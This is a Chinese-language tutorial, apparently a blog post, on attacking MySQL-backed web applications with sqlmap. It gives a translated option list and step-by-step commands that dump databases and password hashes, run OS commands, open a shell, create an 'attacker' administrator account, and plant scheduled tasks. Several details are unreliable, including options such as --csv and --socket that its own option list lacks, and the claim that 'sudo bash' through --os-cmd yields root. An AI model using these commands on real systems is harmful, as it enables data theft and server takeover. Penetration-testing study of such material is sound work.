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SQLMAP注入之MySQL注入总结

SQLMAP注入之MySQL注入总结

简介

sqlmap 是一个开源的自动化 SQL 注入(SQLi)攻击和数据库接管工具,广泛应用于渗透测试、漏洞评估和安全研究。它旨在帮助安全研究人员和渗透测试人员发现和利用 SQL 注入漏洞,进行数据库接管、信息泄露和数据提取等操作。

sqlmap 提供了强大的功能,可以自动化地进行各种 SQL 注入测试,并支持多种数据库管理系统(DBMS),包括 MySQL、PostgreSQL、Oracle、Microsoft SQL Server、SQLite、MongoDB 等。

功能概述

sqlmap 提供了多种功能,能够执行如下操作:

自动化检测 SQL 注入漏洞:

通过检测并分析目标 URL 中的输入参数,自动识别潜在的 SQL 注入漏洞。

支持基于 GET 和 POST 请求的 SQL 注入检测。

数据库信息枚举:

自动化地枚举目标数据库的结构,包括数据库名、表名、列名等信息。

可以列出所有数据库,查看特定数据库中的表,甚至列出表中的列。

数据提取:

sqlmap 可以从受影响的数据库中提取数据,包括导出表、行和列的数据。

支持导出数据为多种格式,如 CSV、XML、JSON 等。

数据库用户信息提取:

可以提取数据库的用户信息,如数据库用户名、密码哈希、权限等。

数据库和操作系统命令执行:

在成功利用 SQL 注入漏洞的情况下,sqlmap 还可以利用数据库进行操作系统命令的执行(如果数据库账户有足够权限)。

SQL 注入类型支持:

支持多种 SQL 注入类型,如布尔盲注、时间盲注、联合查询注入、堆叠查询注入等。

绕过安全防护:

提供了一些绕过 WAF(Web 应用防火墙)、IDS/IPS(入侵检测系统)等安全防护机制的功能。

数据库接管:

在目标数据库存在高权限漏洞的情况下,sqlmap 可实现对数据库服务器的完整控制,包括命令执行和权限提升。

主要特性

自动化和可配置性:sqlmap 提供丰富的命令行参数,支持自动化测试和多种自定义选项,适应不同的渗透测试需求。

多种数据库支持:sqlmap 支持多种数据库管理系统(DBMS),包括但不限于 MySQL、PostgreSQL、SQLite、Oracle、MS SQL Server 等。

注入类型识别:sqlmap 可以自动识别多种类型的 SQL 注入漏洞(如布尔盲注、时间盲注、UNION 注入等),并根据检测到的漏洞类型选择最佳的攻击方式。

数据导出功能:sqlmap 能够从受影响的数据库中导出数据,包括所有表的内容、单个表的内容,甚至是特定列的内容。

操作系统命令执行:如果数据库用户权限足够,sqlmap 可以执行操作系统命令,进一步攻击系统。

使用场景

渗透测试:sqlmap 是渗透测试人员用于评估 Web 应用 SQL 注入漏洞的重要工具,帮助评估数据库和服务器的安全性。

漏洞验证:用于验证 SQL 注入漏洞的存在,并进一步测试漏洞的危害性和利用方式。

数据恢复:在某些情况下,sqlmap 可以帮助从受影响的数据库中恢复数据,特别是在数据库配置不当的情况下。

基本命令

使用方法: sqlmap.py [选项]

选项:

-h, --help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本号并退出
-v VERBOSE 设置详细级别:0-6(默认为1)

目标:

至少需要提供以下一个选项来定义目标

-u URL, --url=URL  目标URL(例如:"http://www.site.com/vuln.php?id=1")
-d DIRECT          用于直接数据库连接的连接字符串
-l LOGFILE         从Burp或WebScarab代理日志文件解析目标
-m BULKFILE        从文本文件中读取多个目标进行扫描
-r REQUESTFILE     从文件加载HTTP请求
-g GOOGLEDORK      将Google dork结果作为目标URL处理
-c CONFIGFILE      从配置INI文件加载选项

请求:

这些选项可以用来指定如何连接到目标URL

-A AGENT, --user.. HTTP User-Agent头的值
-H HEADER, --hea.. 额外的头部(例如:"X-Forwarded-For: 127.0.0.1")
--method=METHOD    强制使用给定的HTTP方法(例如PUT)
--data=DATA        通过POST发送的数据字符串(例如:"id=1")
--param-del=PARA.. 用于分割参数值的字符(例如&)
--cookie=COOKIE    HTTP Cookie头部的值(例如:"PHPSESSID=a8d127e..")
--cookie-del=COO.. 用于分割Cookie值的字符(例如;)
--live-cookies=L.. 加载最新值的实时Cookies文件
--load-cookies=L.. 包含Netscape/wget格式Cookies的文件
--drop-set-cookie  忽略响应中的Set-Cookie头部
--mobile           通过HTTP User-Agent头部模拟智能手机
--random-agent     使用随机选择的HTTP User-Agent头部值
--host=HOST        HTTP Host头部的值
--referer=REFERER  HTTP Referer头部的值
--headers=HEADERS  额外的头部(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP认证类型(Basic, Digest, Bearer等)
--auth-cred=AUTH.. HTTP认证凭据(用户名:密码)
--auth-file=AUTH.. HTTP认证PEM证书/私钥文件
--abort-code=ABO.. 在特定HTTP错误代码时终止(例如401)
--ignore-code=IG.. 忽略特定HTTP错误代码(例如401)
--ignore-proxy     忽略系统默认代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts  忽略连接超时
--proxy=PROXY      使用代理连接到目标URL
--proxy-cred=PRO.. 代理认证凭据(用户名:密码)
--proxy-file=PRO.. 从文件加载代理列表
--proxy-freq=PRO.. 每隔多少次请求更换一次来自给定列表的代理
--tor              使用Tor匿名网络
--tor-port=TORPORT 设置不同于默认的Tor代理端口
--tor-type=TORTYPE 设置Tor代理类型(HTTP, SOCKS4或SOCKS5,默认)
--check-tor        检查是否正确使用了Tor
--delay=DELAY      每个HTTP请求之间的延迟秒数
--timeout=TIMEOUT  连接超时等待秒数(默认30秒)
--retries=RETRIES  当连接超时时重试次数(默认3次)
--retry-on=RETRYON 当内容匹配正则表达式时重试请求(例如"drop")
--randomize=RPARAM 随机更改给定参数的值
--safe-url=SAFEURL 测试期间频繁访问的安全URL地址
--safe-post=SAFE.. 发送到安全URL的POST数据
--safe-req=SAFER.. 从文件加载安全HTTP请求
--safe-freq=SAFE.. 访问安全URL之间定期发送的请求
--skip-urlencode   跳过有效负载数据的URL编码
--csrf-token=CSR.. 用于保存反CSRF令牌的参数
--csrf-url=CSRFURL 提取反CSRF令牌的URL地址
--csrf-method=CS.. 反CSRF令牌页面访问期间使用的HTTP方法
--csrf-data=CSRF.. 反CSRF令牌页面访问期间发送的POST数据
--csrf-retries=C.. 反CSRF令牌检索重试次数(默认0)
--force-ssl        强制使用SSL/HTTPS
--chunked          使用HTTP分块传输编码(POST)请求
--hpp              使用HTTP参数污染方法
--eval=EVALCODE    在请求之前评估提供的Python代码(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")

优化:

这些选项可以用来优化sqlmap的性能

-o                 打开所有优化开关
--predict-output   预测常见查询输出
--keep-alive       使用持久HTTP(s)连接
--null-connection  不实际获取HTTP响应体的情况下获取页面长度
--threads=THREADS  最大并发HTTP(s)请求数量(默认为1)

注入:

这些选项可以用来指定测试哪些参数,提供自定义注入有效负载和可选篡改脚本

-p TESTPARAMETER   可测试的参数
--skip=SKIP        跳过给定参数的测试
--skip-static      跳过看似静态的参数测试
--param-exclude=.. 排除测试参数的正则表达式(例如"ses")
--param-filter=P.. 按位置选择可测试参数(例如"POST")
--dbms=DBMS        强制后端DBMS使用提供的值
--dbms-cred=DBMS.. DBMS认证凭据(用户:密码)
--os=OS            强制后端DBMS操作系统使用提供的值
--invalid-bignum   使用大数字使值无效
--invalid-logical  使用逻辑运算使值无效
--invalid-string   使用随机字符串使值无效
--no-cast          关闭有效负载转换机制
--no-escape        关闭字符串转义机制
--prefix=PREFIX    注入有效负载前缀字符串
--suffix=SUFFIX    注入有效负载后缀字符串
--tamper=TAMPER    使用给定脚本篡改注入数据

检测:

这些选项可以用来定制检测阶段

--level=LEVEL      执行测试的级别(1-5,默认为1)
--risk=RISK        执行测试的风险级别(1-3,默认为1)
--string=STRING    查询评估为真时匹配的字符串
--not-string=NOT.. 查询评估为假时匹配的字符串
--regexp=REGEXP    查询评估为真时匹配的正则表达式
--code=CODE        查询评估为真时匹配的HTTP代码
--smart            如果启发式分析结果为正,则执行彻底测试
--text-only        仅基于文本内容比较页面
--titles           仅基于标题比较页面

技术:

这些选项可以用来调整特定SQL注入技术的测试

--technique=TECH.. 使用的SQL注入技术(默认"BEUSTQ")
--time-sec=TIMESEC 延迟DBMS响应的秒数(默认5秒)
--union-cols=UCOLS 用于测试UNION查询SQL注入的列范围
--union-char=UCHAR 用于暴力破解列数的字符
--union-from=UFROM UNION查询SQL注入中FROM部分使用的表
--union-values=U.. UNION查询SQL注入中使用的列值
--dns-domain=DNS.. 用于DNS渗漏攻击的域名
--second-url=SEC.. 搜索二级响应的结果页面URL
--second-req=SEC.. 从文件加载二级HTTP请求

指纹识别:

-f, --fingerprint  执行广泛的DBMS版本指纹识别

枚举:

这些选项可以用来枚举后端数据库管理系统的信息、结构和表格中包含的数据

-a, --all          获取所有信息
-b, --banner       获取DBMS标识信息
--current-user     获取当前DBMS用户
--current-db       获取当前DBMS数据库
--hostname         获取DBMS服务器主机名
--is-dba           检测当前DBMS用户是否为DBA
--users            枚举DBMS用户
--passwords        枚举DBMS用户的密码哈希
--privileges       枚举DBMS用户的权限
--roles            枚举DBMS用户的角色
--dbs              枚举DBMS数据库
--tables           枚举DBMS数据库表格
--columns          枚举DBMS数据库表格列
--schema           枚举DBMS模式
--count            获取表格的条目数量
--dump             导出DBMS数据库表格条目
--dump-all         导出所有DBMS数据库表格条目
--search           搜索列、表和/或数据库名称
--comments         枚举过程中检查DBMS注释
--statements       获取在DBMS上运行的SQL语句
-D DB              枚举的DBMS数据库
-T TBL             枚举的DBMS数据库表
-C COL             枚举的DBMS数据库表格列
-X EXCLUDE         不枚举的DBMS数据库标识符
-U USER            枚举的DBMS用户
--exclude-sysdbs   枚举表格时排除DBMS系统数据库
--pivot-column=P.. 枢纽列名称
--where=DUMPWHERE  表格导出时使用WHERE条件
--start=LIMITSTART 获取的第一个导出表格条目
--stop=LIMITSTOP   获取的最后一个导出表格条目
--first=FIRSTCHAR  获取查询输出单词的第一个字符
--last=LASTCHAR    获取查询输出单词的最后一个字符
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell        提示进入交互式SQL shell
--sql-file=SQLFILE 执行来自给定文件的SQL语句

穷举:

这些选项可以用来运行穷举检查

--common-tables    检查常见表的存在
--common-columns   检查常见列的存在
--common-tables    检查常见表是否存在
--common-columns   检查常见列是否存在
--common-files     检查常见文件是否存在

用户自定义函数注入:

这些选项可以用来创建自定义用户定义的函数

--udf-inject       注入自定义用户定义的函数
--shared-lib=SHLIB 共享库的本地路径

文件系统访问:

这些选项可以用来访问后端数据库管理系统底层的文件系统

--file-read=FILE.. 从后端DBMS文件系统读取文件
--file-write=FIL.. 在后端DBMS文件系统上写入本地文件
--file-dest=FILE.. 写入到后端DBMS文件系统的绝对路径

操作系统访问:

这些选项可以用来访问后端数据库管理系统底层的操作系统

--os-cmd=OSCMD     执行操作系统命令
--os-shell         提示进入交互式操作系统shell
--os-pwn           提示获取带外(OOB)shell、Meterpreter或VNC
--os-smbrelay      单击提示获取带外(OOB)shell、Meterpreter或VNC
--os-bof           存储过程缓冲区溢出利用
--priv-esc         数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework安装的本地路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows 注册表访问:

这些选项可以用来访问后端数据库管理系统的Windows注册表

--reg-read         读取Windows注册表键值
--reg-add          写入Windows注册表键值数据
--reg-del          删除Windows注册表键值
--reg-key=REGKEY   Windows注册表键
--reg-value=REGVAL Windows注册表键值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表键值类型

常规:

这些选项可以用来设置一些通用的工作参数

-s SESSIONFILE     从存储的(.sqlite)文件加载会话
-t TRAFFICFILE     将所有HTTP流量记录到文本文件中
--abort-on-empty   在结果为空时终止数据检索
--answers=ANSWERS  设置预定义的答案(例如"quit=N,follow=N")
--base64=BASE64P.. 包含Base64编码数据的参数
--base64-safe      使用URL和文件名安全的Base64字母表(RFC 4648)
--batch            从不询问用户输入,使用默认行为
--binary-fields=.. 结果字段具有二进制值(例如"digest")
--check-internet   在评估目标之前检查互联网连接
--cleanup          清理sqlmap特定的UDF和表格以清除DBMS
--crawl=CRAWLDEPTH 从目标URL开始爬取网站
--crawl-exclude=.. 排除页面爬取的正则表达式(例如"logout")
--csv-del=CSVDEL   CSV输出中使用的分隔字符(默认",")
--charset=CHARSET  盲注SQL注入字符集(例如"0123456789abcdef")
--dump-file=DUMP.. 将转储的数据存储到自定义文件
--dump-format=DU.. 转储数据格式(CSV(默认)、HTML或SQLITE)
--encoding=ENCOD.. 数据检索中使用的字符编码(例如GBK)
--eta              显示每个输出的预计到达时间
--flush-session    刷新当前目标的会话文件
--forms            解析并测试目标URL上的表单
--fresh-queries    忽略会话文件中存储的查询结果
--gpage=GOOGLEPAGE 使用来自指定页码的Google dork结果
--har=HARFILE      将所有HTTP流量记录到HAR文件中
--hex              在数据检索期间使用十六进制转换
--output-dir=OUT.. 自定义输出目录路径
--parse-errors     解析并显示响应中的DBMS错误消息
--preprocess=PRE.. 使用给定脚本进行预处理(请求)
--postprocess=PO.. 使用给定脚本进行后处理(响应)
--repair           重新转储带有未知字符标记(?)的条目
--save=SAVECONFIG  将选项保存到配置INI文件
--scope=SCOPE      用于过滤目标的正则表达式
--skip-heuristics  跳过漏洞的启发式检测
--skip-waf         跳过WAF/IPS保护的启发式检测
--table-prefix=T.. 临时表使用的前缀(默认:"sqlmap")
--test-filter=TE.. 根据有效负载和/或标题选择测试(例如ROW)
--test-skip=TEST.. 根据有效负载和/或标题跳过测试(例如BENCHMARK)
--time-limit=TIM.. 以秒为单位的时间限制运行(例如3600)
--unsafe-naming    禁用DBMS标识符的转义(例如"user")
--web-root=WEBROOT Web服务器文档根目录(例如"/var/www")

其他:

这些选项不属于任何其他类别

-z MNEMONICS       使用简短助记符(例如"flu,bat,ban,tec=EU")
--alert=ALERT      当发现SQL注入时运行主机OS命令
--beep             在问题和/或发现漏洞时发出蜂鸣声
--dependencies     检查缺失的(可选)sqlmap依赖项
--disable-coloring 禁用控制台输出着色
--disable-hashing  禁用表转储时的哈希分析
--list-tampers     显示可用篡改脚本列表
--no-logging       禁用日志记录到文件
--offline          离线模式工作(仅使用会话数据)
--purge            安全地移除sqlmap数据目录中的所有内容
--results-file=R.. 多个目标模式下CSV结果文件的位置
--shell            提示进入交互式sqlmap shell
--tmp-dir=TMPDIR   用于存储临时文件的本地目录
--unstable         调整不稳定连接的选项
--update           更新sqlmap
--wizard           面向初学者用户的简单向导界面

MySQL 数据库利用

1.3.1MySQL数据库漏洞利用及数据导出

1、确认目标是否存在 SQL 注入漏洞

sqlmap -u "http://example.com/page?id=1"--batch --dbs

-u:指定 URL,注入点。

--batch:自动回答所有提示(适合批处理模式)。

--dbs:列出数据库的名称。

如果该 URL 存在 SQL 注入漏洞,sqlmap 会列出目标数据库中的所有数据库。

2、列出数据库中的表

sqlmap -u "http://example.com/page?id=1"--batch -D database_name --tables

-D:指定要查看表的数据库名称。

--tables:列出指定数据库中的所有表。

3、查看表列名

可以通过--schema获取该数据库的所有列名或者某个数据库表的列名--columns

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --columns

sqlmap -u "http://example.com/page?id=1"--batch -D database_name --columns

sqlmap -u "http://example.com/page?id=1"--batch -D database_name --schema

4、导出数据

当知道了表结构之后,可以使用 sqlmap 导出表中的数据。可以选择导出所有数据或按条件导出特定数据。

(1)导出整个表的内容

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump

--dump:导出指定表中的所有数据。

(2)导出特定列的数据(可选)

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name -C "column1,column2" --dump

-C:指定要导出的列(以逗号分隔)。

(3)将数据导出到文件

默认情况下,sqlmap 会将导出的数据保存到 output 目录中的文件。可以指定输出目录或文件名,使用 --output-dir 选项:

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --output-dir="/path/to/directory"

5、使用其他选项优化导出过程

指定数据格式:可以指定导出的数据格式为 CSV 或 XML 格式。使用 --csv 或 --xml 参数来改变输出格式。

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --csv

过滤数据:如果不想导出整个表的数据,可以通过 --where 选项添加条件,过滤要导出的数据。

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --where="id > 1000"

6、分批次导出

如果数据表非常大,导出过程可能会比较长,这时你可以选择分批导出,或者利用 --start 和 --stop 参数进行分页导出。

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --start=0 --stop=100

--start:指定从哪一行开始导出数据。

--stop:指定导出多少行数据。

7、快速导出

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --where "id >1 and id<10000"

sqlmap -u "http://example.com/page?id=1"--batch -D database_name -T table_name --dump --where "id between 1 and 10000"

8、批量导出多个表格的数据

sqlmap还支持批量导出多个表格的数据,可以通过一次性指定多个表格。例如:

sqlmap -u "http://example.com/vulnerable.php?id=1"-D mydatabase -T users,orders,products --dump

这将导出 mydatabase 数据库中 users、orders 和 products 表格的所有数据。

9、使用其他高级选项

(1)并发线程

sqlmap还提供了许多高级选项,可以根据需要进行配置。例如,可以使用 --threads 参数指定并发线程数,以加快数据导出速度:

sqlmap -u "http://example.com/vulnerable.php?id=1"-D mydatabase -T users --dump --threads=5

这将使用5个并发线程进行数据导出。

(2)导出数据时的错误处理

在导出数据过程中,可能会遇到各种错误。例如,网络中断、服务器防火墙限制等。可以使用 --retries 参数指定重试次数,以提高数据导出的成功率:

sqlmap -u "http://example.com/vulnerable.php?id=1"-D mydatabase -T users --dump --retries=3

这将尝试3次重试,以应对临时性的网络问题。

(3)复杂情况下的导出

python sqlmap.py -r t.txt --technique=U --union-cols=11 --union-char=X --dbms=mysql --tamper=custmo --suffix=# -D t --batch --dump -T tz --where="id>0" --random-agent

(4)MySQL数据库用户及密码获取

sqlmap -u "http://example.com/page?id=1"--batch --users --passwords

1.3.2MySQL 提权

1、测试是否可以执行操作系统命令

通过 sqlmap 可以测试目标是否能够执行系统命令。执行以下命令,测试是否可以执行操作系统命令:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "whoami"

--os-cmd:执行操作系统命令(Linux 和 Windows 环境都适用)。

如果命令成功返回,说明数据库账户有执行系统命令的权限,进一步提权变得可能。

2、提权操作

一旦确定可以执行操作系统命令,可以尝试通过 SQL 注入利用数据库账户执行更高权限的命令(例如,创建新的管理员用户、提权等)。

(1)Linux 提权:可以尝试执行以下命令:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "id"

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "whoami"

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "sudo whoami" # 如果数据库用户有 sudo 权限

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "touch /tmp/evil_file" # 创建恶意文件

(2)Windows 提权

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "whoami"

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "dir C:\Windows\System32"

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "net user" # 列出 Windows 用户

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "net localgroup administrators" # 列出管理员组成员

(3)提升为管理员权限

如果数据库用户有足够权限,可以尝试提升自己的权限。例如,在 Linux 上可以通过以下命令来获取 root 权限:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "sudo bash"

在 Windows 上,如果数据库用户有足够权限,可能会执行以下命令来获得管理员权限:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "net user attacker YourPassword /add"

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "net localgroup administrators attacker /add"

3、上传 Web Shell

如果数据库支持文件存储(例如文件路径在数据库中),可以通过 SQL 注入上传 Web shell,并通过 Web shell 进行操作系统级别的提权:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-shell

这将启动一个交互式 shell,使你能够与操作系统直接交互并执行命令。

4、针对 Windows 环境的具体提权技巧

利用 Windows 的计划任务:如果 SQL 注入用户有权限添加计划任务,可以通过以下方式创建一个新任务,该任务运行一个恶意脚本或可执行文件。

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "schtasks /create /sc once /tn 'attacker_task' /tr 'cmd.exe /c echo hello > C:\Windows\Temp\attack.txt' /st 00:00"

5、针对 Linux 环境的具体提权技巧

利用 sudo:如果数据库用户有执行 sudo 的权限,可以尝试使用 sudo 执行 root 权限命令:

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "sudo bash"

利用 Cron 作业:如果攻击者可以创建新的 cron 作业,可以将恶意脚本添加到 cron 中,以便在目标系统上定期运行。

利用 setuid 程序:攻击者可以查找具有 setuid 权限的程序,并通过这些程序提权。

python sqlmap.py -u "http://target.com/vulnerable_page?id=1"--os-cmd "find / -type f -perm -04000"

1.3.3MySQL直连操作

sqlmap 可以通过直接连接到 MySQL 数据库进行测试,而无需通过 HTTP 请求的方式。这样可以绕过 Web 应用层的限制,直接对数据库进行注入测试。要连接到 MySQL 数据库,可以使用 sqlmap 的 -u 参数指定 URL,也可以使用 -d 参数来指定直接的数据库连接字符串。

1、指定 MySQL 数据库连接字符串

sqlmap 支持通过提供数据库的连接字符串来直接连接 MySQL 数据库进行渗透测试。连接字符串的格式如下:

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" --tables

这条命令通过直接连接到 MySQL 数据库(IP 地址为 127.0.0.1,端口为 3306,使用数据库 mydatabase)来列出该数据库中的所有表。

2、常用参数

在通过 sqlmap 连接 MySQL 数据库时,你可以使用以下常用的参数:

-d: 用于指定数据库连接字符串。

--tables: 列出数据库中的所有表。

--columns: 列出指定表的所有列。

--dump: 导出数据库中的所有数据。

3、常见用法

(1)列出数据库中的所有表

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" --tables

(2)列出某个表的所有列

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" -T users --columns

4、其他连接选项

sqlmap 还支持一些其他连接选项,你可以根据具体的环境配置进行调整:

指定 Unix Socket 文件:如果你连接的 MySQL 数据库是通过 Unix Socket 进行连接,可以使用 --socket 参数:

python sqlmap.py -d "mysql://root:password@localhost:/var/run/mysqld/mysqld.sock/mydatabase" --tables

指定字符集:如果 MySQL 数据库使用非默认字符集,可以使用 --charset 参数指定:

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" --charset=utf8 --tables

5、MySQL 连接中的高级功能

使用代理连接数据库:如果需要通过代理连接 MySQL 数据库,可以使用 --proxy 参数指定 HTTP/HTTPS 代理。例如:bash

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" --proxy="http://127.0.0.1:8080" --tables

使用 SSL 加密连接:如果数据库启用了 SSL,你可以使用 --ssl 和相关的 SSL 证书选项来建立安全连接:

python sqlmap.py -d "mysql://root:password@127.0.0.1:3306/mydatabase" --ssl --ssl-cert=client-cert.pem --ssl-key=client-key.pem --tables


http://www.kler.cn/a/454490.html

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